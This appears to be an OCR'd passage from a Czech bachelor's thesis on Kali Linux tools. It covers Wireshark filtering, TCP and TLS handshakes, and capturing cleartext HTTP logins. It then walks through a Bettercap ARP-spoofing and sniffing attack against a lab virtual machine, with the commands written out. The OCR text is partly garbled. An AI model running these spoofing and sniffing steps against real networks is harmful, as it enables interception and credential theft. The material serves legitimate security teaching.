-y za ptikazy apt full-upgrade -y a apt autoremove -y automaticky odpovi ano na vSechny
dotazy béhem instalace nebo aktualizace. Systém je nutné jesSté restartovat prikazem reboot
pro jeho plné obnoveni po aktualizacich. Po restartu je mozné ovéfrit pfikazy apt full-upgrade,
apt update Ci cat /etc/os-release, zda je systém skutecné aktualini:
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luke® kali ~
$ update
Hit:1 http://http.kali.org/kali kali-rolling InRelease
All packages are up to date.

Obr. 14: Prikaz apt update (up to date)
Zdroj: Vlastni zpracovdni (2026)

luke% kali ~
$ /etc/os-release

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION ID="2026.1"
VERSION="2026.1"
VERSION_CODENAME=kali-rolling
ID=kali
ID LIKE=debian
HOME_URL="https://ww.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI COLOR="1;31"

Obr. 15: Pfikaz cat /etc/os-release
Zdroj: Vlastni zpracovdni (2026)

Ptikazem cat /etc/os-release je moiné spatfit fadek VERSION_ID=“2026.1“ ¢i radek
VERSION=“2026.1" indikujici novou verzi systému 2026.1 (Microsoft Copilot: va$ Al pomocnik,
2025).

2.2 Wireshark — monitoring sité

Wireshark je analyzator sitového provozu a sitovych protokoll. VyuZivd se zejména pro
diagnostiku problém0 v siti, napriklad ztrata paketl, analyza handshake paket(, zda DNS
odpovida spravné ¢i jestli firewall néco neblokuje. Je mozné jej rovnéz vyuzit pro odhalovani
podezielych aktivit, napfiklad Spatné odesilajici data, komunikace s podezielymi IP, jestli
probiha necekany broadcast, multicast ¢i ARP spoofing. Analyzuje a kontroluje stovky rGznych
protokoll, naptiklad HTTP(S), TLS, TCP, ARP, DHCP, DNS, QUIC, HTTP/3, VolP (SIP, RTP), SMB,
SSH nebo MQTT. Dokaze ukladat zachycené pakety (soubory s ptiponou PCAP/CAP) pro
pozdéjsi analyzu. Nékdy je také nazyvany jako analyzator paketl ¢i paketovy sniffer. Zachycuje
pakety v redlném case a zobrazuje dokonce i jejich obsah pokud neni Sifrovany. Dokaze
zobrazit celou strukturu vybraného paketu od fyzické vrstvy az po aplikacni vrstvu podle
modelu OSI/ISO. Model OSI/ISO ma vrstvy aplikaéni (HTTP, HTTPS, FTP, DNS), prezentaéni (TLS,
SSL), relaéni (TLS handshake, session management), transportni (TCP, UDP), sitovou (IP, ICMP),
linkovou (Ethernet, Wi-Fi) a fyzickou (kabely, radiové viny). Vrstvy dokaze srovnat prehledné
reprezentované jako raw bajty v hexadecimalni a ASCIl podobé (packet bytes). Seznam paketl
v hlavnim okné ukazuje sitovy provoz na daném sitovém rozhrani (packet list). V domaci Wi-Fi
siti se bohuzel router chova jako switch a Wireshark nezachyti provoz vSech zafizeni v siti.
Router posila data jen tomu zafizeni, komu jsou urcéena. Jedind moznost jak vidét vSechna
zafizeni v siti je propojit je hubem, hub posild data viem zafizenim v siti. Wireshark dokaze
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poskytnout mnoho informaci o paketech. Podle protokolu Ize uréit na jaké vrstvé modelu
OSI/ISO sluzba probiha, jednotlivé vrstvy paketu lze otevfit pro vice informaci. Rovnéz
Wireshark nabizi mnozZstvi filtrQ pro vybrani spravnych paketd. Jednotlivé pakety jsou barevné
oddéleny, barvy lze vsak vypnout. Program ma grafické rozhrani (Wireshark Basics, 2023).

» Frame 28: Packet, 74 bytes on wire (592 bits), 74 bytes captured (=
» Ethernet II, Src: 66:4c:be:81:c5:38 (66:4c:be:81:c5:38), Dst: VMwa
= Internet Protocol Version 4, Src: 142.251.141.163, Dst: 192.168.15
8160 .... = Version: 4
.... 8181 = Header Length: 28 bytes (5)
v+ Differentiated Services Field: ©x@@ (DSCP: CS®, ECN: Not-ECT)
Total Length: 6@
Identification: oxeeee (0)
» B168. .... = Flags: ©x2, Don't fragment
...0 DOEO POEO EEEE = Fragment Offset: ©
Time to Liwve: 123
Protocol: TCP (6)
[Header checksum status: Unverified]
Source Address: 142.251.141.163
Destination Address: 192.168.157.249

[Stream index: 1] s
1 [

© 7 Header Checksum (ip.checksum), 2 bytes

b
Obr. 16: Wireshark, detail paketu
Zdroj: Vlastni zpracovani (2026)

PP Bc 29 e6 af 2f 66 4c be 81 c5 38 08 60 45 68 y--/TL - -
0E10 @0 3c 00 00 40 80 7b 06 8e b 8d a3 cO a8 <@ - -
2% 9d f9 00 50 e8 96 e9 bb 1d d9 91 a® 01 d6 a® 12 - P .

ff ff 1e 31 00 00 B2 B4 05 40 B4 B2 P8 Pa 75 89 S RO

al 39 ec a9 87 93 01 B3 B3 68 9...
i 3
Packets: 87 Profile: Default

4
Obr. 17: Wireshark, pfehled bajtt
Zdroj: Vlastni zpracovdni (2026)

2.2.1 Filtrovani pakett

Provoz sité je mozné filtrovat podle protokolu, IP adresy, portu a jinych parametrd. Filtrovani
umoziuje zuzit vysledky vyhleddvani pouze na vybrané pakety. Wireshark ma vysoce
propracovany systém filtrovani, ktery umoZiuje i napovidani filtru, podobné jako
v programatorskych aplikaci. Filtrovani lze rozdélit do dvou hlavnich filtr(i, zachytavaci filtr
(capture filter) pti spusténi, kdy Wireshark davda moznost vybrat si sitové rozhrani,
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a zobrazovaci filtr paketl (display filter). Rozdil mezi nimi je naprosto jednoduchy a logicky.

Zachytavaci filtr v dvodnim okné, pfi vybéru sitového rozhrani, umozni aktivovat filtr jiz pfi

spusténi vyhledavani paketl. Program bude vyhledavat pouze ty pakety, které se tykaji

zachytavaciho filtru, ostatni pakety nezobrazi. Samoziejmé je pozdéji mozné doplnit

zachytavaci filtr i zobrazovacim filtrem. Oproti tomu zobrazovaci filtr najde vSechny dostupné

pakety. Z nich vybere pouze ty, pro které bude néjaky zobrazovaci filtr pozdéji aktivovan. Pri

psani filtrG program naseptava pokracovani nabidky filtru a je moziné, podobné jako

v programovani, je spojit porovnavacimi operatory, rovna se (==), nerovna se (!=), vétsi nez (>),

mensi neZ (<), vétsSi nebo rovno (>=) a podobné. Stejné jako s porovnavacimi operatory je
mozné psat filtry i pomoci logickych operatord, AND (&&), OR (| |), XOR (**), NOT (!) a dalsich.
Vybér pro psani filtrd je skutecné rozsahly, filtry ndm dokaZou vybrat par paketl z tisice.

Zachytavaci filtry jsou obecnéjsiho razu a lze mezi né radit napfiklad filtry (Wireshark User’s

Guide, 2026):

e tcp port 80 or udp,

e host127.0.0.1,

e port443,
e tcp port 8088,

e udp range 1-100.

d Capturing from ethO (tcp port 80 or udp)
File Edit View Go Capture Analyze 5Statistics Telephony Wireless Tools Help
| — 1
[n |Apply a display filter ... <Ctrl-/>
No. Time Source Destination Protocol Length Info
10.000000000 192.168.157.249 192.168.157.15 75 Standard
2 0.000405479 192.168.157.249 192.168.157.15 DNS 75 Standard query
3 0.048311486 192.168.157.15 192.168.157.249 DNS 127 Standard query
4 ©.049068621 192.168.157.15 192.168.157.249 DNS 139 Standard query
5 0.322631158 192.168.157.249 192.168.157.15 DNS 79 Standard query
6 0.323026869 192.168.157.249 192.168.157.15 DNS 79 Standard query
7 B.349983725 192.168.157.15 192.168.157.249 DNS 95 Standard query
8 0.350640019 192.168.157.15 192.168.157.249 DNS 107 Standard query
9 p.819701081 192.168.157.249 192.168.157.15 DNS 97 Standard query
10 0.820016172 192.168.157.249 192.168.157.15 DNS 97 Standard query
11 ©.853131198 192.168.157.15 192.168.157.249 DNS 149 Standard query
12 0.853241716 192.168.157.15 192.168.157.249 DNS 161 Standard query
13 1.603529403 192.168.157.249 192.168.157.15 DNS 72 Standard query
14 1.692722673 192.168.157.15 192.168.157.249 DNS 217 Standard query
15 1.6940873517 192.168.157.249 192.168.157.15 DNS 72 Standard query
y 16 1.694385732 192.168.157.249 192 .168.157.15 DNS 72 Standard auerv
Obr. 18: Wireshark, zachytavaci filtr (HTTP a UDP)

Zdroj: Vlastni zpracovdni (2026)

Zobrazovaci filtry jsou oproti zachytavacim filtrGm konkrétnéjsi, cili na mensi pocet filtrovanych

paketll a Ize mezi né fadit napfiklad filtry:

udp and not udp.port == 53,

e tls.handshake.type == 1 or tls.handshake.type == 2,

e frame contains "login" or frame contains "password",

e http and frame.len > 500,

e tcp.flags.syn == 1.
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ﬂ Capturing from ethQ

Admde DRE EE :

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

(M ]udp and not udp.port == 53

Mo. Time Source Destination Protocol Length Info
49 1.646556978 . L157.249 142 .251.141.163 QUIC 1294 Initi

+ DB 1.647897645 192.168.157.249 142.251.141.163 QUIC 1294 Initis
51 1.648984580 192.168.157.249 142.251.141.163 QUIC 1294 B-RTT,
54 1.681160190 142.251.141.163 192.168.157.249 QUIC 85 Initis
95 1.687741031 142.251.141.163 192.168.157.249 QUIC 85 Initis
06 1.691871370 142.251.141.163 192.168.157.249 QUIC 1294 Initie
08 1.691872921 142.251.141.163 192.168.157.249 QUIC 1294 Initie
59 1.734406863 142.251.141.163 192.168.157.249 QUIC 1294 Initie
63 1.734408131 142.251.141.163 192.168.157.249 QUIC 345 Protec

- 65 1.749905498 192.168.157.249 142 .251.141.163 QUIC 336 Protec
68 1.761439810 142.251.141.163 192.168.157.249 QUIC 659 Protec
69 1.761441059 142.251.141.163 192.168.157.249 QUIC 70 Protec
74 1.774333144 142.251.141.163 192.168.157.249 QUIC 165 Protec
76 1.776431431 192.168.157.249 142.251.141.163 QUIC 73 Protec
78 1.801846069 142.251.141.163 192.168.157.249 QUIC 69 Protec

83 3.241185129 ©.6.0.8 255.255.255.255 DHCP 324 DHCP F

Obr. 19: Wireshark, zobrazovaci filtr (UDP kromé DNS)
Zdroj: Vlastni zpracovani (2026)

[

ﬁ Capturing from ethQ

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AR Ad® R

(M [tep.flags.syn ==

MNo. Time Source Destination Protocol Length Info

2..257.843169418 192.168.157.249 34.1687.221.82 TCP 74 52120

2. 257.878775872 34.187.221.82 192.168.157.249 TCP 7488 -~ 5

Obr. 20: Wireshark, ukazka zobrazovaciho filtru (TCP pakety se SYN)
Zdroj: Vlastni zpracovdni (2026)

Zobrazovaci filtry Ize samoziejmé i kombinovat se zachytavacimi filtry, napftiklad:

d Capturing from ethQ (tcp port 80 or udp)

T
= 315

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AdEde NRE =

.[I |tcp.flags.syn =

_No. Time Source "Destination "-Prctccol Length Info

27 7.499530701 192.168.157.249 142.251.141.163 TCP 74 59542 - 80 [S
28 7.522578657 142.251.141.163 192.168.157.249 TCP 7480 59542 [5

Obr. 21: Wireshark, ukazka kombinace obou filtri (HTTP a UDP + TCP (SYN a SYN/ACK)
Zdroj: Vlastni zpracovani (2026)
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2.2.2 TCP, TLS protokoly

TCP je protokol vytvarejici spolehlivé spojeni mezi dvéma zafizenimi. Pokud se obé strany
dohodnou, Ze spolu budou komunikovat, probéhne tzv. tficestny handshake. TCP handshake
probihd ve tfech krocich (SYN, SYN/ACK, ACK). TCP protokol zajistuje, aby data dorazila
spravné, bez chyb a v pfesném poradi. Je pomalejsi, ale spolehlivy, vyuziva se k posilani e-mailt
¢i soubor( a podobné. Podobny protokol ze stejné transportni vrstvy modelu OSI/ISO, protokol
UDP, jiz neni tak spolehlivy, neposila pakety v pfesném poradi, ani neposle znovu ztracené
pakety, ale je velmi rychly a vyuZiva se pfi prehravani filmd, online her nebo videohovora.
Proto UDP handshake nevyZaduje, kdezto TCP ano (Zacnéte skutecné ovladat PC.
Odposlouchavejte domaci sit, 2014):

e SYN (Synchronize) - SYN je zprava, kterou klient navazuje spojeni se serverem
a podava serveru své pocatecni sekvencni Cislo. Sekvencni Cislo je dllezité pro fizeni
toku dat. TCP potiebuje védét, v jakém poradi data prichazeji, aby obé strany, klient
i server védély, kde presné komunikace zacing, v jakém poradi maji byt data sloZena
a jestli se néjaky paket neztratil nebo neopakoval. TCP je totiZ spolehlivy protokol.
Musi zajistit, Ze data dorazi spravné a ve spravném poradi. Pfi ztraté paketu TCP
protokol posle novy paket,

e SYN/ACK (Synchronize / Acknowledge) - server (SYN) odpovi kombinovanou zpravou,
Ze chce komunikovat, a posle klientovi také své sekvencni Cislo a klient (ACK) odpovi,
Ze zpravu dostal. TCP je obousmérny protokol. Coz znamenad, Ze klient posila data
serveru, server posila data klientovi. Kazda strana posila svij vlastni proud dat a kazda
strana potfebuje své vlastni sekvencni Cislo. Jedna se tedy o potvrzeni a vlastni
pozadavek na synchronizaci,

e ACK (Acknowledge) - klient posle posledni ACK zpravu, potvrzeni, Ze dostal od serveru
SYN/ACK zpravu. Handshake dokonéen a spojeni je navdazano. Obé strany jsou
pfipraveny komunikovat, sekvencni ¢isla jsou synchronizovana a Zadna strana neposila
data do prazdna.

*ethO

tatistics Telephony Wireless Tools Help

iF 1
_i_i_

= 3
Destination Protocol Length Info
34.187.221.82 TCP 74 42054 — BOJ[SYN] Seq=0 Win=64248 Len=0 MSS5=14
192.168.204.128 TCP 60 80 — 42054Q[SYN, ACK] Seq=0 Ack=1 Win=64240 L
34.187.221.82 TCP 54 42054 - BOJ[ACK] Seq=1 Ack=1 Win=64248 Len=0
34.187.221.82 HTTP 364 GET /success.txtripv4d HITP/1.1
192.168.204.128 TCP 60 80 — 42854 [ACK] Seg=1 Ack=311 Win=64240 Len=0
192.168.204.128 HTTP 270 HTTP/1.1 2808 OK (text/plain)
34.187.221.82 TCP 54 42054 — 80 [ACK] Seq=311 Ack=217 Win=64824 Len

Obr. 22: Wireshark, navazani tficestného handshake
Zdroj: Vlastni zpracovadni (2026)

TLS je kryptograficky protokol zajistujici bezpe¢nou komunikaci mezi dvéma stranami, mezi
webovym prohlizeCem a serverem. Poskytuje veskeré bezpeénostni zaruky, dlvérnost,
integritu a autentizaci v podobé Sifrované komunikace a digitalnich certifikat(. TLS je nastupce
starSiho SSL a v dnesSni dobé se pouZiva prakticky vsude, kde je zapotfebi bezpecna
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komunikace, napfiklad u protokolu HTTPS. Bez pouziti TLS protokolu Ize komunikaci

odposlo

uchdvat, mlzZe byt upravena i pfesmérovana na jiny server. Proto je tak nebezpecné

vyuzivat HTTP protokol misto HTTPS. Mimo HTTPS je TLS vyuZivan pti e-mailové komunikaci,

VPN, VolIP nebo pfi komunikaci mezi servery. Varianta DTLS je bezpecnostni protokol pro

datagramy UDP. Moderni TLS 1.3 je oproti TLS 1.2 rychlejsi, bezpecnéjsi a jednodussi. Zkracuje

dobu trvani handshake, pouziva moderni sifry a vyzaduje i forward secrecy, coz je ndhrada za

staré RSA vymeény klicG a slabé Sifrovaci mody. Zrychluje dobu navazani spojeni a sniZuje

moznost chybné konfigurace. Handshakem si klient i server ovéfi identitu, domluvi Sifrovaci

algoritmy a wvytvori spolecny Sifrovaci klic pro vzajemnou bezpecnou komunikaci. Béhem

handshake server posle svij certifikat k ovéreni a poté se obé strany dohodnou na kli¢ich pro

Sifrovan

iew Go

i dat (Wireshark Basics, 2023):

ClientHello — klient zahadji komunikaci a posle serveru podporované verze TLS, seznam
Sifrovacich dat a ndhodna data pro generovani klich. Z téchto parametrd si server
mUzZe vybrat,

ServerHello — server odpovi na pozadavky a posle vlastni nahodna data pro generovani
kli¢d, ¢imz za¢ne ovérovani,

Certifikat serveru — server posle sv(j certifikat k zajisténi autentizace serveru, klient
ovéfi jeho platnost, dlivéryhodnost a zda odpovida doménég,

Vyména kli¢ti — klient i server si vyméni verejné klice a vypocitaji si vlastni, spolecny
tajny kli¢ (ECDHE), ze kterého se odvodi symetrické klice pro Sifrovani, takzvany session
key, se kterym se bude komunikace Sifrovat. ECDHE je dnes standardem, protozZe
poskytuje forward secrecy. RSA klice jsou starsi variantou,

Finished — obé strany si poslou Sifrovanou zpravu , Finished”. Od ted bézi mezi obéma
stranami zabezpecené spojeni.

*eth0

Capture Analyze Statistics Telephony Wireless Tools Help

iy o =ifl=
ike

Source Destination Protocol Length Info
1879176 192.168.284.128 146.75.117.91 TLSv1. 2397 Client Hello (SNI=ads.
le87050 146.75.117.91 192.168.204.128 TLSv1. 1595 Server Hello, Change C
1024427 192.168.204.128 104.18.4.159 TLSv1. 1893 Client Hello (SNI=clou
1136037 192.168.204.128 164.18.4.159 TLSv1. 1893 Client Hello (SNI=clou
1666100 184.18.4.159 192.168.2084.128 TLSv]. 3446 Server Hello, Change C.
1976089 184.18.4.159 192.168.204.128 TLSv]. 2742 Server Hello, Change C.

18511486 192.168.204.128 142.251.141.176 TLSv1.
18261256 192.168.204.128 142.251.141.170 TLSv1.
‘3662807 142.251.141.170 192.168.264.128 TLSv1.
‘3663250 142.251.141.176 192.168.264.128 TLSv1.

2.2.3

1959 Client Hello (SNI=font:
1959 Client Hello (SNI=font:
4350 Server Hello, Change C.
1398 Server Hello, Change C.

GG oo oW WL W W

Obr. 23: Wireshark, navazani zabezpeceného handshake
Zdroj: Vlastni zpracovadni (2026)

HTTPS, HTTP protokoly

Wireshark umozriuje zachytavat sitovy Sifrovany (HTTPS) i neSifrovany (HTTP) provoz sité.

V dnesni dobé je vsak nesifrovany provoz spiSe vyjimkou, lze vSak diky nému zachytit

v programu Wireshark uziteéné informace. Nasledujici informace byly ziskany diky
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neSifrovanému provozu. Nesifrované informace jsou C(Citelné, Sifrované Citelné nejsou
(Wireshark Basics, 2023).

Postup k ziskani nesSifrovanych informaci je skutec¢né snadny. Pres prohlizec¢ se Ize pfipojit
k néjakému serveru pres HTTP protokol, a v nabidce se vyplni login a heslo. Po jejich vyplnéni
program Wireshark ziska pakety HTTP komunikace se serverem, ve kterych budou
zaznamenany pfihlasovaci Udaje. Lze pouZit zobrazovaci filtr http.request.method == "GET",
ktery ndm vypiSe protokoly HTTP ziskané metodou GET:

r

A *eth0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Aw s HORG —

['II | http.request.method == "GET"

Il
'_'_l

No. Time Source Destination Protocol Length Info
67 12.523779481 192.168.157.249 195.113.287.163 HTTP 455 GET /
87 27.621858985 192.168.157.249 195.113.2687.163 HTTP 456 GET /
187 33.743332114 192.168.157.249 195.113.287.163 HTTP 456 GET /
113 33.7891956683 192.168.157.249 195.113.287.163 HTTP 457 GET /
¢ 116 33.955221329 192.168.157.249 195.113.207.163 HTTP 482 GET /
117 33.957766658 192.168.157.249 195.113.287.163 HTTP 481 GET /
129 34.411624717 192.168.157.249 195.113.287.163 HTTP 483 GET /
141 35.8349685171 192.168.157.249 195.113.287.163 HTTP 585 GET /
156 37.251234234 192.168.157.249 195.113.287.163 HTTP 525 GET /
218 39.486353661 192.168.157.249 195.113.2687.163 HTTP 555 GET /
= 236 43.580535556 192.168.157.249 195.113.287.163 HTITR 564 GET /

Obr. 24: Wireshark, ziskany HTTP paket
Zdroj: Vlastni zpracovadni (2026)

Na paket Ize kliknout pravym tlacitkem mysi a zde vybrat z nabidky Follow a poté HTTP Stream
nebo TCP Stream. Zobrazi se textovy vypis streamu, ze kterého lze vycist poZadované
informace, uzivatelské jméno a heslo:

A Wireshark - Follow HTTP Stream (tcp.stream eq 7) - ethQ

Origin: http://195.113.287.163
Connection: keep-alive

Referer: http://195.113.287.163/
Cookie: PHPSESSID=
Upgrade-Insecure-Requests: 1
Priority: u=e, i

Iuzivatelzadmin&uzivateiskeiheslo:admin |
ound

Date: Sun, 15 Mar 20826 15:10:10 GMT

Server: Apache/2.4.62 (Cent0S Stream) OpenSSL/3.5.5
X-Powered-By: PHP/8.2.30

Expires: Thu, 19 Nov 1981 ©8:52:80 GMT
Cache-Control: no-store, no-cache, must-revalidate

Obr. 25: Wireshark, ziskané informace HTTP komunikace
Zdroj: Vlastni zpracovani (2026)

HTTP stream nebo TCP stream je rekonstruovany datovy proud, data jdouci po sobé v poradi,
jak byla prenesena v ramci jednoho TCP spojeni, Cili se jednd o slouceny obsah paket(.
Wireshark vezme vsechny pakety patfici k jednomu spojeni, sefadi je, odstrani fragmentaci
a zobrazi souvisly textovy tok. Tyto textové toky jsou barevné oddéleny, ¢ervené jsou data od
klienta, modre data od serveru. TCP stream je cely proud dat spojeni, HTTP stream je jen HTTP
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komunikace uvnitf. V pripadé Sifrované komunikace, HTTPS, jsou pfihlasovaci Udaje v paketu
chranény protokolem TLS a data jsou neditelna, Sifrovand (Wireshark Basics, 2023):

A Wireshark - Follow TCP Stream (tcp.stream eq 1) - ethQ

caleans Yo 6T )SOHL U= o T e &"0 3
.kC.v
B el SR R e
5o BDD s el WE R e AR s P e VoTE }..53
Nm [N w.i..fs.d E~O L T S &.D..4 g.s.r..Ktsp
(e %.%..PyMO....fE..<.q. E I aB..D........ R"..yfE
e K
a.;.
a8 2k NS0 R e T oanimiBs i "Naoz{k\.nkX: @.>I
yp. -& A s bl e eR
...... B I e e T eSS | R | S e 0 e e B S e I R
G=im: Cicass =¥ T = T S SR By | FEa L tH.ve" Bsi 8

Obr. 26: Wireshark, necitelna data HTTPS komunikace
Zdroj: Vlastni zpracovdni (2026)

2.3 Bettercap — MITM Utoky

Bettercap je jiz ito¢ny framework, nastroj pro vedeni nejriznéjsich MITM (man-in-the-middle)
utokd na sité Cili odposlouchavani komunikace mezi komunikujicimi zafizenimi. Bettercap je
mladsim sourozeneckym programem nastroje Ettercap, jehoZ vyvoj byl postaven na vedlejsi
kolej. Bettercap nabizi mnohem vice mozZnosti a modull pro fizené Utoky neZ nastroj Ettercap,
zejména utoky typu MITM. MUiZe byt pouzit pro ARP spoofing (neboli ARP poisoning), analyzu
paketll (odkazy, prihlasovaci Udaje a hesla), obchazeni HTTPS i HSTS, DNS spoofing (neboli DNS
poisoning Cili pfesmérovani DNS poZzadavku), vloZzenim kédu do webovych stranek a dalsi.
V praci bude nastroj Bettercap predstaven zejména k Utokim typu spoofing neboli poisoning.
V praxi maji oba anglické terminy stejny vyznam. Bettercap se spousti se ptikazem pres sitové
rozhrani bettercap -iface ethO (Bettercap, 2026):

r

= luke@kali: ~

Session Actions Edit View Help
luke® kali)- [~
$ i ethd

Obr. 27: Bettercap, pfikaz spusténi nastroje
Zdroj: Vlastni zpracovdni (2026)

Napovédu pro nastroj Bettercap lze vyvolat prfikazem help, a zaroven slouzi jako seznam
aktivnich i neaktivnich moduld, které lIze vyuZit. Seznam modull Ize aktualizovat opétovnym
vypsanim prikazu help. V zakladnim nastaveni funguje pouze modul events.stream (modul bézi
v pozadi a slouZi k zapisovani udalosti). Dalsi moduly jsou neaktivni. Dale Ize napsat za pfrikaz
help nazev modulu, ¢imZ Ize vyvolat ndpovédu pouze pro dany modul. Moduly se zapinaji
a vypinaji jednoduchymi ptikazy, naptiklad net.probe on a net.probe off. Dale existuji dalsi
pfikazy pro modifikaci modulu, nejéastéji prikaz set. Zakladnimi prikazy nastroje Bettercap jsou
(Bettercap, 2026):

e net.probe on/off - vypiSe vSechna zafizeni pfipojena k siti i s MAC adresami,
e net.recon on/off - automaticky spustén prikazem net.probe. Pfida IP adresy do
seznamu tak, Ze je Ize sledovat a vyhledat,
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e net.show - vypiSe vSechna mozZna zafizeni pfipojena k siti.

= luke@kali: ~
Session Actions Edit View Help

> not running
> not running

> 192.168.204.128 » net.probe on
[17:04:03] [ ] [[15]] WEEMPEEBE starting net.recon as a requirement
> 192.168.204.128 » [17:04:03] [ ] endpoint

re, Inc.).
> 192.168.204.128 » net.show

IP & MAC Name Vendor Sent
192.168.204.128 00:0c:29:e6:af:2f ethd VMware, Inc. 0B
192.168.204.2 P0:50:56:12:82:56 gateway VMware, Inc. 77 kB
192.168.204.1 00:50:56:c0:00:08 VMware, Inc. 6.3 kB
192.168.204.130 P0:0c:29:ac:85:4d VMware, Inc. 71 kB
192.168.204.254 00:50:56:e7:60:6e VMware, Inc. 2.7 kB

Obr. 28: Bettercap, zakladni prikazy
Zdroj: Vlastni zpracovdni (2026)

2.3.1 ARP Spoofing

Nevyhodou protokolu ARP (Address Resolution Protocol) je jeho slabé zabezpeceni
a jednoduchost. ARP protokol umozriuje pfifadit IP adresy zafizeni k MAC adresam. Sitova
komunikace mezi zafizenimi v siti potfebuje znat MAC adresy. Proto je zapotfebi ARP
protokolu, aby mohl server a klient spolu komunikovat. Server vyuZije ARP protokolu a vysle
ARP poZadavek (request) viem zatizenim v siti broadcast vysilanim, coZz znamena, Ze se zepta
vsech zafizeni v siti, kdo ma konkrétni IP adresu. Na volani poZadavku odpovi pouze jedno
zarizeni tak, ze z konkrétni IP adresy odpovi svou MAC adresu. Jind zafizeni v siti volani ARP
pozadavky ignoruji. Po sdéleni MAC adresy mohou spolu zafizeni komunikovat. ARP protokol je
jednoduchy, sklada se pouze z pozadavku a odpovédi. Kazdé zatizeni ma ARP tabulku, ktera
preklada IP adresy v siti na MAC adresy (arp -a). Kazdy router s vychozi IP adresou komunikuje
vyhradné pres MAC adresy. MAC adresu lze lehce modifikovat ARP protokolem (Zsecurity,
2026).

ARP spoofing spociva ve vyslani dvou ARP poZadavki, jeden na router (AP) a druhy na zafizeni
obéti. Router, kdyZ dostane vzkaz, Ze IP adresa Utocnika je IP adresa obéti, tak modifikuje ARP
tabulku a pridéli IP adresu obéti k MAC adrese utoc¢nika. Modifikaci lze udélat i se zatizenim
obéti, po vyslani ARP poZadavku se predéla ARP tabulka obéti, zatizeni Utocnika je IP adresou
routeru (AP) a pfidéli IP adresu routeru k MAC adrese Utoc¢nika. Vysledkem bude, Ze obét si
bude myslet, Ze komunikuje s routerem a router si bude myslet, Ze komunikuje s obéti.
Vsechna sitova komunikace tak bude nyni chodit pres zafizeni Utocnika. Komunikace od obéti
bude chodit do routeru pres uUtocnika a opacné komunikace od routeru bude chodit k obéti
také pres utocnika. ARP protokol neni dostatecné zabezpecen, proto lze vSe zminéné provadét.
Klientské zafizeni mlze akceptovat odpovéd ARP protokolu i presto, Ze nevyslali Zzadny ARP
pozadavek. CoZz znamend, Ze ARP protokol umoziuje poslat odpovéd bez nutnosti vznést
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pozadavek, jak routeru, tak i obéti. Rovnou se akceptuje odpovéd. Neexistuje ani zadné
ovéreni. Zmifované slabosti ARP protokolu dovoluji spustit ARP spoofing utoky. V Kali Linux
existuje velice jednoduchy program, ktery lze spustit pfikazem arpspoof, bakalarska prace vsak
vyuZije Bettercap pro jeho vice mozZnosti (Zsecurity, 2026):

luke® kali ]
$ .  arpspoof
[sudo] password for luke:

Version: 2.5a2

Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
arpspoof -i eth® -t 10.0.2.7 10.0.2.1

arpspoof -i eth® -t 10.0.2.1 10.0.2.7

Obr. 29: Bettercap, prikaz arpspoof
Zdroj: Vlastni zpracovani (2026)

Nyni jiz konkrétni pfiklad se dvéma virtudlnimi OS Linux a OS Windows. Pfikazem help
arp.spoof lze zobrazit vSechny dostupné moznosti nastroje arp.spoof, mezi které patfi i prikaz
arp.spoof.fullduplex. U pfikazu arp.spoof.fullduplex lze nastavit hodnotu true, false a default.
True znamend, Ze jak na router, tak i na zafizeni obéti bude Utoceno. Nastaveni default cili
pouze na zafizeni obéti, nikoli routeru, coz je uzite¢né napftiklad pokud router ma néjakou
funkci ochrany proti Gdtokim a podobné. Nastavi se postupné, pfipadné lze sestavit i skript
(Zsecurity, 2026):

e set arp.spoof.fullduplex true - ostatni potfebné moduly se automaticky nastavi na on,
e set arp.spoof.targets 192.168.204.130 — cil, obét, na které se uplatni ARP Spoofing,
e arp.spoof on - zapnuti nastroje ARP Spoofing,
e net.sniff on - zapnuti sledovani sitové komunikace na cilovém zafizeni.
> not running

> not running
> ing

> 192.168.204.128  » net.show

IP & MAC Name Vendor
192.168.204.128 P0:0c:29:e6:af:2f eth@ VMware, Inc.
192.168.204.2 P0:50:56:f2:82:56 gateway VMware, Inc.
192.168.204.1 00:50:56:c0:00:08 VMware, Inc.
192.168.204.130 00:0c:29:ac:85:4d VMware, Inc.
192.168.204.254 00:50:56:27:60:6e VMware, Inc.

T 2.4 MB / 7.7 MB / 151962 pkts

> 192.168.204.128 | » set arp.spoof.fullduplex true

> 192.168.204.128 » set arp.spoof.targets 192.168.204.130

> 192.168.204.128 | » arp.spoof on

> 192.168.204.128  » [16:11:14] [ o1 [ SR o
RP spoofing mechanisms, the attack will fail.

SU192016812060128) » [16:11:14] [ 1 (5] T o

Obr. 30: Bettercap, parametry prikazu arp.spoof
Zdroj: Vlastni zpracovdni (2026)
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Informace ziskané ptrikazem net.sniff se ziskaly neSifrovanym HTTP pfihlaSenim na zafizeni s IP
adresou 192.168.204.130. Podobné informace lze ziskat i programem Wireshark prfes HTTP
stream. Informace ziskané pres protokol HTTPS jsou opét necitelné. Ziskani téchto udaju pres
Wireshark je popsano v predeslé kapitole:

> 192.168.204.128 | » net.sniff on

SISO E N » [16:17:29] [net.sniff.dns] gal
af4:b4es? i Be i 347

SIS EIEE SR IEN » [16:17:29] [net.sniff.dns] gal
46.75.121.91

SRIE IR OaT SN » [16:17:29] [net.sniff.dns] gal
Cookie:
Upgrade-Insecure-Requests:
| ivatel=adminguzivatelske heslo=admin

S92 016812047128) » [16:20:36] [ne
130 (97 B )

Obr. 31: Bettercap, ziskané prihlasovaci udaje
Zdroj: Vlastni zpracovdni (2026)

Na dalsim obrdzku je vidét ARP tabulka zafizeni 192.168.204.130. Doslo zde k zdméné MAC
adresy routeru. MAC adresa routeru je shodna se zafizenim 192.168.204.128:

- luke® kali)-[~

192.168.204.2) at @0:@c:29:e6:af:2f

? a thQ:5b:e/:bB:be |ether| on e
? (192.168.204.1) at @0:50:56:c0:00:08 [ether] on eth®
? (192.168.204.128) at @@:@c:29:e6:af:2f [ether] on ethe

IP . MAC Name Vendor
192.168.204.128 PR:0c:29:e6:af:2f ethd VMware, 1

I 192.168.204.2 P0:50:56:12:82:56 gateway | VMware, 1
192.168.204.1 00:50:56:c0:00:08 VMware, 1
192.168.204.130 00:0c:29:ac:85:4d VMware, 1
192.168.204.254 P0:50:56:e7:60:6e VMware, 1

